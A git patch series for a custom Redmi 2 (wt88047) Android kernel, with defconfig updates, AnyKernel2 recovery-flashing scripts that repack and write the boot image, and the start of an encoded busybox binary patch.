+# CONFIG_QPNP_LINEAR_CHARGER_HQ is not set # CONFIG_MSM_BCL_CTL is not set +# CONFIG_YL_PM8916_VBUS is not set +# CONFIG_YL_BQ24157_CHARGER is not set +# CONFIG_YL_FAN5405_CHARGER is not set +# CONFIG_YL_LC709203_FUELGAUGE is not set +# CONFIG_YL_CHARGE_MODE is not set CONFIG_POWER_RESET=y # CONFIG_POWER_RESET_GPIO is not set CONFIG_POWER_RESET_MSM=y @@ -2158,6 +2175,7 @@ CONFIG_REGULATOR_ONSEMI_NCP6335D=y # CONFIG_REGULATOR_TPS6507X is not set # CONFIG_REGULATOR_TPS6524X is not set CONFIG_REGULATOR_TPS65132=y +# CONFIG_REGULATOR_TPS65132_YL is not set CONFIG_REGULATOR_STUB=y CONFIG_REGULATOR_RPM_SMD=y CONFIG_REGULATOR_QPNP=y @@ -2261,7 +2279,6 @@ CONFIG_RADIO_ADAPTERS=y # # Texas Instruments WL128x FM driver (ST based) # -# CONFIG_RADIO_WL128X is not set CONFIG_RADIO_IRIS=y CONFIG_RADIO_IRIS_TRANSPORT=y # CONFIG_RADIO_SILABS is not set @@ -2498,6 +2515,7 @@ CONFIG_SND_SOC_I2C_AND_SPI=y # CONFIG_SND_SOC_ALL_CODECS is not set CONFIG_SND_SOC_WSA881X=y CONFIG_SND_SOC_MSM8X16_WCD=y +CONFIG_SND_SOC_WCD_CPE=y CONFIG_AUDIO_EXT_CLK=y CONFIG_SND_SOC_WCD_MBHC=y CONFIG_SND_SOC_MSM_STUB=y @@ -2532,6 +2550,7 @@ CONFIG_DRAGONRISE_FF=y CONFIG_HID_EMS_FF=y CONFIG_HID_ELECOM=y CONFIG_HID_EZKEY=y +CONFIG_HID_FIIO=y CONFIG_HID_HOLTEK=y # CONFIG_HOLTEK_FF is not set CONFIG_HID_KEYTOUCH=y @@ -2554,7 +2573,7 @@ CONFIG_HID_MAGICMOUSE=y CONFIG_HID_MICROSOFT=y CONFIG_HID_MONTEREY=y CONFIG_HID_MULTITOUCH=y -# CONFIG_HID_NTRIG is not set +CONFIG_HID_NTRIG=y CONFIG_HID_ORTEK=y CONFIG_HID_PANTHERLORD=y CONFIG_PANTHERLORD_FF=y @@ -2844,7 +2863,6 @@ CONFIG_RMNET_SMD_DATA_CHANNEL="" CONFIG_MMC=y # CONFIG_MMC_DEBUG is not set CONFIG_MMC_PERF_PROFILING=y -# CONFIG_MMC_CMD_LOG is not set CONFIG_MMC_UNSAFE_RESUME=y CONFIG_MMC_CLKGATE=y CONFIG_MMC_EMBEDDED_SDIO=y @@ -2859,6 +2877,7 @@ CONFIG_MMC_BLOCK_BOUNCE=y CONFIG_MMC_BLOCK_DEFERRED_RESUME=y # CONFIG_SDIO_UART is not set # CONFIG_MMC_TEST is not set +# CONFIG_MMC_YL_PARAMS is not set # # MMC/SD/SDIO Host Controller Drivers @@ -2866,7 +2885,6 @@ CONFIG_MMC_BLOCK_DEFERRED_RESUME=y CONFIG_MMC_SDHCI=y CONFIG_MMC_SDHCI_PLTFM=y CONFIG_MMC_SDHCI_MSM=y -# CONFIG_MMC_SDHCI_MSM_DEBUG is not set # CONFIG_MMC_SDHCI_PXAV3 is not set # CONFIG_MMC_SDHCI_PXAV2 is not set # CONFIG_MMC_DW is not set @@ -3112,6 +3130,13 @@ CONFIG_ENABLE_LINUX_REG=y # CK Telecom board selection # # CONFIG_MACH_SPIRIT is not set +# CONFIG_MACH_HUAQIN is not set +# CONFIG_MACH_HUAQIN_MSM8916 is not set + +# +# Huaqin board selection +# +# CONFIG_MACH_JALEBI is not set # CONFIG_MACH_LONGCHEER is not set # CONFIG_MACH_LONGCHEER_MSM8916 is not set @@ -3143,7 +3168,6 @@ CONFIG_MSM_AVTIMER=y # CONFIG_PFT is not set # CONFIG_MSM_SPSS is not set CONFIG_MSM_BUS_SCALING=y -# CONFIG_MSM_BUSPM_DEV is not set CONFIG_BUS_TOPOLOGY_ADHOC=y # CONFIG_DEBUG_BUS_VOTER is not set # CONFIG_I2C_MSM_PROF_DBG is not set @@ -3164,6 +3188,19 @@ CONFIG_MACH_WINGTECH_MSM8916=y # Wingtech board selection # CONFIG_MACH_WT88047=y +# CONFIG_MACH_T86519A1 is not set +# CONFIG_MACH_YULONG is not set +# CONFIG_MACH_YULONG_MSM8939 is not set + +# +# Yulong board selection +# +# CONFIG_MACH_CP8675 is not set + +# +# Yulong features +# +# CONFIG_YL_POWEROFF_ALARM is not set CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y # CONFIG_MSM_CLK_CONTROLLER_V2 is not set From 73ff50fb28915c40137525dc9942b8f61b31c624 Mon Sep 17 00:00:00 2001 From: Prema Chand Alugu Date: Sun, 11 Sep 2016 00:35:58 +0530 Subject: [PATCH 149/365] Regenerate deconfig for N --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 8af4dbd912925..94ce71968abfa 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -32,7 +32,7 @@ CONFIG_BUILDTIME_EXTABLE_SORT=y # CONFIG_INIT_ENV_ARG_LIMIT=32 CONFIG_CROSS_COMPILE="" -CONFIG_LOCALVERSION="-blackhawk" +CONFIG_LOCALVERSION="-cyanogenmod" CONFIG_LOCALVERSION_AUTO=y CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_LZMA=y @@ -666,6 +666,7 @@ CONFIG_INET_XFRM_MODE_TUNNEL=y CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y # CONFIG_INET_UDP_DIAG is not set +# CONFIG_INET_DIAG_DESTROY is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" From f78d3185418a2a0ae1068c1c2907c88cbfa40778 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 12 Dec 2016 11:58:07 +0530 Subject: [PATCH 150/365] wt88047: add my build tools --- .gitignore | 7 + .../META-INF/com/google/android/update-binary | 99 ++++++++ .../com/google/android/updater-script | 1 + AnyKernel2/Makefile | 25 ++ AnyKernel2/anykernel.sh | 43 ++++ AnyKernel2/tools/ak2-core.sh | 214 ++++++++++++++++++ AnyKernel2/tools/busybox | Bin 0 -> 1194140 bytes AnyKernel2/tools/mkbootimg | Bin 0 -> 68112 bytes AnyKernel2/tools/unpackbootimg | Bin 0 -> 64012 bytes Makefile | 9 +- build.sh | 49 ++++ config.sh | 4 + tools/dtbToolCM | Bin 0 -> 32068 bytes 13 files changed, 447 insertions(+), 4 deletions(-) create mode 100755 AnyKernel2/META-INF/com/google/android/update-binary create mode 100644 AnyKernel2/META-INF/com/google/android/updater-script create mode 100644 AnyKernel2/Makefile create mode 100755 AnyKernel2/anykernel.sh create mode 100755 AnyKernel2/tools/ak2-core.sh create mode 100755 AnyKernel2/tools/busybox create mode 100755 AnyKernel2/tools/mkbootimg create mode 100755 AnyKernel2/tools/unpackbootimg create mode 100755 build.sh create mode 100644 config.sh create mode 100755 tools/dtbToolCM diff --git a/.gitignore b/.gitignore index 3b8b9b33be380..0d8889b1ed51b 100644 --- a/.gitignore +++ b/.gitignore @@ -32,6 +32,13 @@ modules.builtin *.lzo *.patch *.gcno +*.img +*.rej +*.zip +*.sha1 +dtb +zImage + # # Top-level generic files diff --git a/AnyKernel2/META-INF/com/google/android/update-binary b/AnyKernel2/META-INF/com/google/android/update-binary new file mode 100755 index 0000000000000..6c6ba68cc8a9c --- /dev/null +++ b/AnyKernel2/META-INF/com/google/android/update-binary @@ -0,0 +1,99 @@ +#!/sbin/sh +# AnyKernel2 Backend +# osm0sis @ xda-developers + +OUTFD=/proc/self/fd/$2; +ZIP="$3"; +DIR=`dirname "$ZIP"`; + +ui_print() { + until [ ! "$1" ]; do + echo -e "ui_print $1\nui_print" > $OUTFD; + shift; + done; +} +show_progress() { echo "progress $1 $2" > $OUTFD; } +set_perm_recursive() { + dirs=$(echo $* | $bb awk '{ print substr($0, index($0,$5)) }'); + for i in $dirs; do + chown -R $1.$2 $i; chown -R $1:$2 $i; + find "$i" -type d -exec chmod $3 {} +; + find "$i" -type f -exec chmod $4 {} +; + done; +} +file_getprop() { grep "^$2" "$1" | cut -d= -f2; } +getprop() { test -e /sbin/getprop && /sbin/getprop $1 || file_getprop /default.prop $1; } +abort() { ui_print "$*"; umount /system; umount /data; exit 1; } + +show_progress 1.34 4; +ui_print " "; +mkdir -p /tmp/anykernel/bin; +cd /tmp/anykernel; +unzip -o "$ZIP"; +if [ $? != 0 -o -z "$(ls /tmp/anykernel/tools)" ]; then + abort "Unzip failed. Aborting..."; +fi; +chmod -R 755 /tmp/anykernel/tools /tmp/anykernel/bin; +bb=/tmp/anykernel/tools/busybox; + +ui_print "$(file_getprop /tmp/anykernel/anykernel.sh kernel.string)"; +ui_print " "; +ui_print "AnyKernel2 by osm0sis @ xda-developers"; +ui_print " "; +mount -o ro -t auto /system; +mount /data; + +if [ "$(file_getprop /tmp/anykernel/anykernel.sh do.devicecheck)" == 1 ]; then + ui_print "Checking device..."; + for i in 1 2 3 4 5; do + testname="$(file_getprop /tmp/anykernel/anykernel.sh device.name$i)"; + if [ "$(getprop ro.product.device)" == "$testname" -o "$(getprop ro.build.product)" == "$testname" ]; then + ui_print "$testname"; + match=1; + fi; + done; + ui_print " "; + if [ "$match" != 1 ]; then + abort "Unsupported device. Aborting..."; + fi; +fi; + +if [ "$(file_getprop /tmp/anykernel/anykernel.sh do.initd)" == 1 ]; then + ui_print "Creating init.d..."; + ui_print " "; + mount -o remount,rw -t auto /system; + mkdir /system/etc/init.d; + set_perm_recursive 0 0 0755 0755 /system/etc/init.d; + mount -o remount,ro -t auto /system; +fi; + +ui_print "Installing kernel..."; +for i in $($bb --list); do + $bb ln -s $bb /tmp/anykernel/bin/$i; +done; +if [ $? != 0 -o -z "$(ls /tmp/anykernel/bin)" ]; then + abort "Recovery busybox setup failed. Aborting..."; +fi; +PATH="/tmp/anykernel/bin:$PATH" $bb ash /tmp/anykernel/anykernel.sh $2; +if [ $? != "0" ]; then + abort; +fi; + +if [ "$(file_getprop /tmp/anykernel/anykernel.sh do.modules)" == 1 ]; then + ui_print " "; + ui_print "Pushing modules..."; + mount -o remount,rw -t auto /system; + cp -rf /tmp/anykernel/modules/* /system/lib/modules/; + set_perm_recursive 0 0 0755 0644 /system/lib/modules; + mount -o remount,ro -t auto /system; +fi; + +if [ "$(file_getprop /tmp/anykernel/anykernel.sh do.cleanup)" == 1 ]; then + rm -rf /tmp/anykernel; +fi; + +umount /system; +umount /data; +ui_print " "; +ui_print "Done!"; + diff --git a/AnyKernel2/META-INF/com/google/android/updater-script b/AnyKernel2/META-INF/com/google/android/updater-script new file mode 100644 index 0000000000000..af670826fb7ac --- /dev/null +++ b/AnyKernel2/META-INF/com/google/android/updater-script @@ -0,0 +1 @@ +assert(getprop("ro.product.device") == "HM2014811" || getprop("ro.build.product") == "HM2014811" || getprop("ro.product.device") == "HM2014812" || getprop("ro.build.product") == "HM2014812" || getprop("ro.product.device") == "HM2014813" || getprop("ro.build.product") == "HM2014813" || getprop("ro.product.device") == "HM2014814" || getprop("ro.build.product") == "HM2014814" || getprop("ro.product.device") == "HM2014815" || getprop("ro.build.product") == "HM2014815" || getprop("ro.product.device") == "HM2014816" || getprop("ro.build.product") == "HM2014816" || getprop("ro.product.device") == "HM2014817" || getprop("ro.build.product") == "HM2014817" || getprop("ro.product.device") == "HM2014818" || getprop("ro.build.product") == "HM2014818" || getprop("ro.product.device") == "HM2014819" || getprop("ro.build.product") == "HM2014819" || getprop("ro.product.device") == "HM2014820" || getprop("ro.build.product") == "HM2014820" || getprop("ro.product.device") == "HM2014821" || getprop("ro.build.product") == "HM2014821" || abort("This package is for device: HM2014811,HM2014812,HM2014813,HM2014814,HM2014815,HM2014816,HM2014817,HM2014818,HM2014819,HM2014820,HM2014821; this device is " + getprop("ro.product.device") + ".");); diff --git a/AnyKernel2/Makefile b/AnyKernel2/Makefile new file mode 100644 index 0000000000000..211cbf2f77863 --- /dev/null +++ b/AnyKernel2/Makefile @@ -0,0 +1,25 @@ +NAME ?= Zetsubou + +VERSION ?= N + +DATE := $(shell date +'%Y%m%d-%H%M') + +ZIP := $(NAME)-$(VERSION)-$(DATE).zip + +EXCLUDE := Makefile *.git* + +all: $(ZIP) + +$(ZIP): + @echo "Creating ZIP: $(ZIP)" + @zip -r9 "$@" . -x $(EXCLUDE) + @echo "Generating SHA1..." + @sha1sum "$@" > "$@.sha1" + @cat "$@.sha1" + @echo "Done." + +clean: + @rm -vf "$(NAME)-"*.zip* + @rm -vf dtb + @rm -vf zImage + @echo "Done." diff --git a/AnyKernel2/anykernel.sh b/AnyKernel2/anykernel.sh new file mode 100755 index 0000000000000..2fe82ede813d8 --- /dev/null +++ b/AnyKernel2/anykernel.sh @@ -0,0 +1,43 @@ +# AnyKernel2 Ramdisk Mod Script +# osm0sis @ xda-developers + +## AnyKernel setup +# EDIFY properties +kernel.string=Zetsubou Kernel by Ashish94 @ xda-developers +do.devicecheck=0 +do.initd=1 +do.modules=0 +do.cleanup=1 +device.name1=wt88047 +device.name2=Redmi 2 +device.name3= +device.name4= +device.name5= + +# shell variables +block=/dev/block/bootdevice/by-name/boot; +is_slot_device=0; + + +## AnyKernel methods (DO NOT CHANGE) +# import patching functions/variables - see for reference +. /tmp/anykernel/tools/ak2-core.sh; + + +## AnyKernel permissions +# set permissions for included ramdisk files +chmod -R 755 $ramdisk + + +## AnyKernel install +dump_boot; + +# begin ramdisk changes + + +# end ramdisk changes + +write_boot; + +## end install + diff --git a/AnyKernel2/tools/ak2-core.sh b/AnyKernel2/tools/ak2-core.sh new file mode 100755 index 0000000000000..27dc577f774b3 --- /dev/null +++ b/AnyKernel2/tools/ak2-core.sh @@ -0,0 +1,214 @@ +## AnyKernel methods (DO NOT CHANGE) +# set up extracted files and directories +ramdisk=/tmp/anykernel/ramdisk; +bin=/tmp/anykernel/tools; +split_img=/tmp/anykernel/split_img; +patch=/tmp/anykernel/patch; + +chmod -R 755 $bin; +mkdir -p $ramdisk $split_img; + +if [ "$is_slot_device" == 1 ]; then + slot=$(getprop ro.boot.slot_suffix 2>/dev/null); + test ! "$slot" && slot=$(grep -o 'androidboot.slot_suffix=.*$' /proc/cmdline | cut -d\ -f1 | cut -d= -f2); + test "$slot" && block=$block$slot; + if [ $? != 0 -o ! -e "$block" ]; then + ui_print " "; ui_print "Unable to determine active boot slot. Aborting..."; exit 1; + fi; +fi; + +OUTFD=/proc/self/fd/$1; + +# ui_print +ui_print() { echo -e "ui_print $1\nui_print" > $OUTFD; } + +# contains +contains() { test "${1#*$2}" != "$1" && return 0 || return 1; } + +# dump boot and extract ramdisk +dump_boot() { + dd if=$block of=/tmp/anykernel/boot.img; + $bin/unpackbootimg -i /tmp/anykernel/boot.img -o $split_img; + if [ $? != 0 ]; then + ui_print " "; ui_print "Dumping/splitting image failed. Aborting..."; exit 1; + fi; + mv -f $ramdisk /tmp/anykernel/rdtmp; + mkdir -p $ramdisk; + cd $ramdisk; + gunzip -c $split_img/boot.img-ramdisk.gz | cpio -i; + if [ $? != 0 -o -z "$(ls $ramdisk)" ]; then + ui_print " "; ui_print "Unpacking ramdisk failed. Aborting..."; exit 1; + fi; + cp -af /tmp/anykernel/rdtmp/* $ramdisk; +} + +# repack ramdisk then build and write image +write_boot() { + cd $split_img; + cmdline=`cat *-cmdline`; + board=`cat *-board`; + base=`cat *-base`; + pagesize=`cat *-pagesize`; + kerneloff=`cat *-kerneloff`; + ramdiskoff=`cat *-ramdiskoff`; + tagsoff=`cat *-tagsoff`; + osver=`cat *-osversion`; + oslvl=`cat *-oslevel`; + if [ -f *-second ]; then + second=`ls *-second`; + second="--second $split_img/$second"; + secondoff=`cat *-secondoff`; + secondoff="--second_offset $secondoff"; + fi; + if [ -f /tmp/anykernel/zImage ]; then + kernel=/tmp/anykernel/zImage; + elif [ -f /tmp/anykernel/zImage-dtb ]; then + kernel=/tmp/anykernel/zImage-dtb; + else + kernel=`ls *-zImage`; + kernel=$split_img/$kernel; + fi; + if [ -f /tmp/anykernel/dtb ]; then + dtb="--dt /tmp/anykernel/dtb"; + elif [ -f *-dtb ]; then + dtb=`ls *-dtb`; + dtb="--dt $split_img/$dtb"; + fi; + if [ -f "$bin/mkbootfs" ]; then + $bin/mkbootfs /tmp/anykernel/ramdisk | gzip > /tmp/anykernel/ramdisk-new.cpio.gz; + else + cd $ramdisk; + find . | cpio -H newc -o | gzip > /tmp/anykernel/ramdisk-new.cpio.gz; + fi; + if [ $? != 0 ]; then + ui_print " "; ui_print "Repacking ramdisk failed. Aborting..."; exit 1; + fi; + $bin/mkbootimg --kernel $kernel --ramdisk /tmp/anykernel/ramdisk-new.cpio.gz $second --cmdline "$cmdline" --board "$board" --base $base --pagesize $pagesize --kernel_offset $kerneloff --ramdisk_offset $ramdiskoff $secondoff --tags_offset $tagsoff --os_version "$osver" --os_patch_level "$oslvl" $dtb --output /tmp/anykernel/boot-new.img; + if [ $? != 0 ]; then + ui_print " "; ui_print "Repacking image failed. Aborting..."; exit 1; + elif [ `wc -c < /tmp/anykernel/boot-new.img` -gt `wc -c < /tmp/anykernel/boot.img` ]; then + ui_print " "; ui_print "New image larger than boot partition. Aborting..."; exit 1; + fi; + if [ -f "/data/custom_boot_image_patch.sh" ]; then + ash /data/custom_boot_image_patch.sh /tmp/anykernel/boot-new.img; + if [ $? != 0 ]; then + ui_print " "; ui_print "User script execution failed. Aborting..."; exit 1; + fi; + fi; + dd if=/tmp/anykernel/boot-new.img of=$block; +} + +# backup_file +backup_file() { cp $1 $1~; } + +# replace_string +replace_string() { + if [ -z "$(grep "$2" $1)" ]; then + sed -i "s;${3};${4};" $1; + fi; +} + +# replace_section +replace_section() { + begin=`grep -n "$2" $1 | head -n1 | cut -d: -f1`; + for end in `grep -n "$3" $1 | cut -d: -f1`; do + if [ "$begin" -lt "$end" ]; then + sed -i "/${2//\//\\/}/,/${3//\//\\/}/d" $1; + sed -i "${begin}s;^;${4}\n;" $1; + break; + fi; + done; +} + +# remove_section +remove_section() { + begin=`grep -n "$2" $1 | head -n1 | cut -d: -f1`; + for end in `grep -n "$3" $1 | cut -d: -f1`; do + if [ "$begin" -lt "$end" ]; then + sed -i "/${2//\//\\/}/,/${3//\//\\/}/d" $1; + break; + fi; + done; +} + +# insert_line +insert_line() { + if [ -z "$(grep "$2" $1)" ]; then + case $3 in + before) offset=0;; + after) offset=1;; + esac; + line=$((`grep -n "$4" $1 | head -n1 | cut -d: -f1` + offset)); + sed -i "${line}s;^;${5}\n;" $1; + fi; +} + +# replace_line +replace_line() { + if [ ! -z "$(grep "$2" $1)" ]; then + line=`grep -n "$2" $1 | head -n1 | cut -d: -f1`; + sed -i "${line}s;.*;${3};" $1; + fi; +} + +# remove_line +remove_line() { + if [ ! -z "$(grep "$2" $1)" ]; then + line=`grep -n "$2" $1 | head -n1 | cut -d: -f1`; + sed -i "${line}d" $1; + fi; +} + +# prepend_file +prepend_file() { + if [ -z "$(grep "$2" $1)" ]; then + echo "$(cat $patch/$3 $1)" > $1; + fi; +} + +# insert_file +insert_file() { + if [ -z "$(grep "$2" $1)" ]; then + case $3 in + before) offset=0;; + after) offset=1;; + esac; + line=$((`grep -n "$4" $1 | head -n1 | cut -d: -f1` + offset)); + sed -i "${line}s;^;\n;" $1; + sed -i "$((line - 1))r $patch/$5" $1; + fi; +} + +# append_file +append_file() { + if [ -z "$(grep "$2" $1)" ]; then + echo -ne "\n" >> $1; + cat $patch/$3 >> $1; + echo -ne "\n" >> $1; + fi; +} + +# replace_file +replace_file() { + cp -pf $patch/$3 $1; + chmod $2 $1; +} + +# patch_fstab +patch_fstab() { + entry=$(grep "$2" $1 | grep "$3"); + if [ -z "$(echo "$entry" | grep "$6")" ]; then + case $4 in + block) part=$(echo "$entry" | awk '{ print $1 }');; + mount) part=$(echo "$entry" | awk '{ print $2 }');; + fstype) part=$(echo "$entry" | awk '{ print $3 }');; + options) part=$(echo "$entry" | awk '{ print $4 }');; + flags) part=$(echo "$entry" | awk '{ print $5 }');; + esac; + newentry=$(echo "$entry" | sed "s;${part};${6};"); + sed -i "s;${entry};${newentry};" $1; + fi; +} + +## end methods + diff --git a/AnyKernel2/tools/busybox b/AnyKernel2/tools/busybox new file mode 100755 index 0000000000000000000000000000000000000000..3bf47851cd8527624462cfb8027716059fe8a32d GIT binary patch literal 1194140 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 